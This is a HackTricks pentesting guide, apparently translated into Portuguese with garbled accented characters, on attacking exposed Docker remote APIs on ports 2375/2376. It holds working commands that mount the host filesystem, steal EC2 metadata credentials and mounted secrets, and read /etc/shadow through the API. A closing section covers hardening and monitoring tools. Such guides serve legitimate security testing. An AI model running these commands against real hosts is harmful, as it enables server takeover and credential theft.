# 2375, 2376 Pentesting Docker
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
### Docker Basics
#### What is
Docker Ă© a **plataforma de ponta** na **indĂșstria de containerização**, liderando a **inovação contĂnua**. Facilita a criação e distribuição de aplicaçÔes de forma simples, abrangendo desde **tradicionais atĂ© futuristas**, e assegura seu **desdobramento seguro** em diversos ambientes.
#### Basic docker architecture
* [**containerd**](http://containerd.io): Este Ă© um **runtime central** para containers, encarregado da **gestĂŁo abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferĂȘncia e armazenamento de imagens**, alĂ©m de supervisionar a **execução, monitoramento e rede** de containers. **InformaçÔes mais detalhadas** sobre containerd sĂŁo **exploradas mais a fundo**.
* O **container-shim** desempenha um papel crĂtico como um **intermediĂĄrio** no manuseio de **containers sem cabeça**, assumindo perfeitamente o controle a partir do **runc** apĂłs os containers serem inicializados.
* [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc estĂĄ alinhado com o **padrĂŁo OCI**. Ă usado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluĂdo a partir do original **libcontainer**.
* [**grpc**](http://www.grpc.io) é essencial para **facilitar a comunicação** entre containerd e o **docker-engine**, garantindo uma **interação eficiente**.
* O [**OCI**](https://www.opencontainers.org) Ă© fundamental na manutenção das **especificaçÔes OCI** para runtime e imagens, com as versĂ”es mais recentes do Docker sendo **compatĂveis com os padrĂ”es de imagem e runtime OCI**.
#### Basic commands
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect #Get info of the contaienr
docker network ls #List network info
docker exec -it /bin/sh #Get shell inside a container
docker commit registry:5000/name-container #Update container
docker export -o alpine.tar #Export container as tar file
docker save -o ubuntu.tar #Export an image
docker ps -a #List running and stopped containers
docker stop #Stop running container
docker rm #Remove container ID
docker image ls #List images
docker rmi #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
```
#### Containerd
**Containerd** foi desenvolvido especificamente para atender Ă s necessidades de plataformas de contĂȘiner como **Docker e Kubernetes**, entre outras. Seu objetivo Ă© **simplificar a execução de contĂȘineres** em vĂĄrios sistemas operacionais, incluindo Linux, Windows, Solaris e mais, abstraindo a funcionalidade especĂfica do sistema operacional e chamadas de sistema. O objetivo do Containerd Ă© incluir apenas os recursos essenciais exigidos por seus usuĂĄrios, esforçando-se para omitir componentes desnecessĂĄrios. No entanto, alcançar esse objetivo completamente Ă© reconhecido como desafiador.
Uma decisĂŁo de design chave Ă© que **Containerd nĂŁo lida com redes**. A rede Ă© considerada um elemento crĂtico em sistemas distribuĂdos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que suporta.
Enquanto **Docker utiliza Containerd** para executar contĂȘineres, Ă© importante notar que o Containerd suporta apenas um subconjunto das funcionalidades do Docker. Especificamente, o Containerd nĂŁo possui as capacidades de gerenciamento de rede presentes no Docker e nĂŁo suporta a criação de swarms do Docker diretamente. Essa distinção destaca o papel focado do Containerd como um ambiente de execução de contĂȘiner, delegando funcionalidades mais especializadas para as plataformas com as quais se integra.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info #Get container info
ctr task start #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach #Get shell in running container
ctr task pause #Stop container
ctr tasks resume #Resume cotainer
ctr task kill -s SIGKILL #Stop running container
ctr container delete
```
#### Podman
**Podman** Ă© um mecanismo de contĂȘiner de cĂłdigo aberto que adere aos [padrĂ”es da Open Container Initiative (OCI)](https://github.com/opencontainers), desenvolvido e mantido pela Red Hat. Ele se destaca do Docker com vĂĄrias caracterĂsticas distintas, notavelmente sua **arquitetura sem daemon** e suporte para **contĂȘineres sem root**, permitindo que os usuĂĄrios executem contĂȘineres sem privilĂ©gios de root.
Podman Ă© projetado para ser compatĂvel com a API do Docker, permitindo o uso de comandos da CLI do Docker. Essa compatibilidade se estende ao seu ecossistema, que inclui ferramentas como **Buildah** para construir imagens de contĂȘiner e **Skopeo** para operaçÔes de imagem, como push, pull e inspect. Mais detalhes sobre essas ferramentas podem ser encontrados em sua [pĂĄgina do GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
**Principais Diferenças**
* **Arquitetura**: Ao contrĂĄrio do modelo cliente-servidor do Docker com um daemon em segundo plano, o Podman opera sem um daemon. Esse design significa que os contĂȘineres sĂŁo executados com os privilĂ©gios do usuĂĄrio que os inicia, aumentando a segurança ao eliminar a necessidade de acesso root.
* **Integração com Systemd**: O Podman se integra ao **systemd** para gerenciar contĂȘineres, permitindo a gestĂŁo de contĂȘineres por meio de unidades do systemd. Isso contrasta com o uso do systemd pelo Docker, principalmente para gerenciar o processo do daemon do Docker.
* **ContĂȘineres Sem Root**: Uma caracterĂstica fundamental do Podman Ă© sua capacidade de executar contĂȘineres sob os privilĂ©gios do usuĂĄrio que os inicia. Essa abordagem minimiza os riscos associados a brechas em contĂȘineres, garantindo que os atacantes obtenham apenas os privilĂ©gios do usuĂĄrio comprometido, e nĂŁo acesso root.
A abordagem do Podman oferece uma alternativa segura e flexĂvel ao Docker, enfatizando a gestĂŁo de privilĂ©gios do usuĂĄrio e a compatibilidade com fluxos de trabalho existentes do Docker.
{% hint style="info" %}
Note que, como o podman visa suportar a mesma API que o docker, vocĂȘ pode usar os mesmos comandos com podman que com docker, como:
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}
### InformaçÔes Båsicas
A API Remota Ă© executada por padrĂŁo na porta 2375 quando habilitada. O serviço, por padrĂŁo, nĂŁo exigirĂĄ autenticação, permitindo que um atacante inicie um contĂȘiner docker privilegiado. Usando a API Remota, Ă© possĂvel anexar hosts / (diretĂłrio raiz) ao contĂȘiner e ler/gravar arquivos do ambiente do host.
**Porta padrĂŁo:** 2375
```
PORT STATE SERVICE
2375/tcp open docker
```
### Enumeração
#### Manual
Observe que, para enumerar a API do docker, vocĂȘ pode usar o comando `docker` ou `curl`, como no seguinte exemplo:
```bash
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
```
Se vocĂȘ pode **contatar a API remota do docker com o comando `docker`**, vocĂȘ pode **executar** qualquer um dos **comandos** [**docker** comentados anteriormente](2375-pentesting-docker.md#basic-commands) para interagir com o serviço.
{% hint style="info" %}
VocĂȘ pode `export DOCKER_HOST="tcp://localhost:2375"` e **evitar** usar o parĂąmetro `-H` com o comando docker
{% endhint %}
**Escalada de privilégios råpida**
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**
Ăs vezes, vocĂȘ verĂĄ **2376** ativo para o endpoint **TLS**. Eu nĂŁo consegui me conectar a ele com o cliente docker, mas Ă© possĂvel fazer isso com curl.
```bash
#List containers
curl âinsecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl âinsecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl âinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl âinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s âinsecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl âinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl âinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl âinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, itâs also worth checking out services in case they are adding secrets via environment variables)
curl -s âinsecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl âinsecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl âinsecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl âinsecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl âinsecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl âinsecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl âinsecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
Se vocĂȘ quiser mais informaçÔes sobre isso, mais informaçÔes estĂŁo disponĂveis de onde copiei os comandos: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
#### AutomĂĄtico
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p
```
### Comprometendo
Na pĂĄgina seguinte, vocĂȘ pode encontrar maneiras de **escapar de um contĂȘiner docker**:
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}
Abusando disso, Ă© possĂvel escapar de um contĂȘiner, vocĂȘ poderia executar um contĂȘiner fraco na mĂĄquina remota, escapar dele e comprometer a mĂĄquina:
```bash
docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
### Escalada de Privilégios
Se vocĂȘ estiver dentro de um host que estĂĄ usando docker, vocĂȘ pode [**ler esta informação para tentar elevar privilĂ©gios**](../linux-hardening/privilege-escalation/#writable-docker-socket).
### Descobrindo segredos em contĂȘineres Docker em execução
```bash
docker ps [| grep ]
docker inspect
```
Verifique **env** (seção de variĂĄveis de ambiente) em busca de segredos e vocĂȘ pode encontrar:
* Senhas.
* IPs.
* Portas.
* Caminhos.
* Outros⊠.
Se vocĂȘ quiser extrair um arquivo:
```bash
docker cp :/etc/
```
### Protegendo seu Docker
#### Protegendo a instalação e uso do Docker
* VocĂȘ pode usar a ferramenta [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) para inspecionar sua instalação atual do docker.
* `./docker-bench-security.sh`
* VocĂȘ pode usar a ferramenta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspecionar sua instalação atual do docker.
* `dockscan -v unix:///var/run/docker.sock`
* VocĂȘ pode usar a ferramenta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para verificar os privilĂ©gios que um contĂȘiner terĂĄ quando executado com diferentes opçÔes de segurança. Isso Ă© Ăștil para conhecer as implicaçÔes de usar algumas opçÔes de segurança para executar um contĂȘiner:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
#### Protegendo Imagens Docker
* VocĂȘ pode usar uma imagem docker de [https://github.com/quay/clair](https://github.com/quay/clair) para escanear suas outras imagens docker e encontrar vulnerabilidades.
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
#### Protegendo Dockerfiles
* VocĂȘ pode usar a ferramenta [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) para **inspecionar seu Dockerfile** e encontrar todos os tipos de configuraçÔes incorretas. Cada configuração incorreta receberĂĄ um ID, vocĂȘ pode encontrar aqui [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) como corrigir cada uma delas.
* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (176).png>)
* VocĂȘ pode usar a ferramenta [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) para **inspecionar seu Dockerfile** e encontrar todos os tipos de configuraçÔes incorretas.
* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (212).png>)
* VocĂȘ pode usar a ferramenta [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) para **inspecionar seu Dockerfile** e encontrar todos os tipos de configuraçÔes incorretas.
* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (71).png>)
* VocĂȘ pode usar a ferramenta [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) para **inspecionar seu Dockerfile** e encontrar todos os tipos de configuraçÔes incorretas.
* `hadolint Dockerfile`
![](<../.gitbook/assets/image (501).png>)
#### Registrando Atividades Suspeitas
* VocĂȘ pode usar a ferramenta [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) para detectar **comportamentos suspeitos em contĂȘineres em execução**.
* Note no seguinte trecho como **Falco compila um mĂłdulo do kernel e o insere**. Depois disso, ele carrega as regras e **começa a registrar atividades suspeitas**. Neste caso, ele detectou 2 contĂȘineres privilegiados iniciados, 1 deles com um ponto de montagem sensĂvel, e apĂłs alguns segundos, detectou como um shell foi aberto dentro de um dos contĂȘineres.
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user= command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user= command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
#### Monitorando o Docker
VocĂȘ pode usar auditd para monitorar o docker.
### ReferĂȘncias
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** đŹ [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositĂłrios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}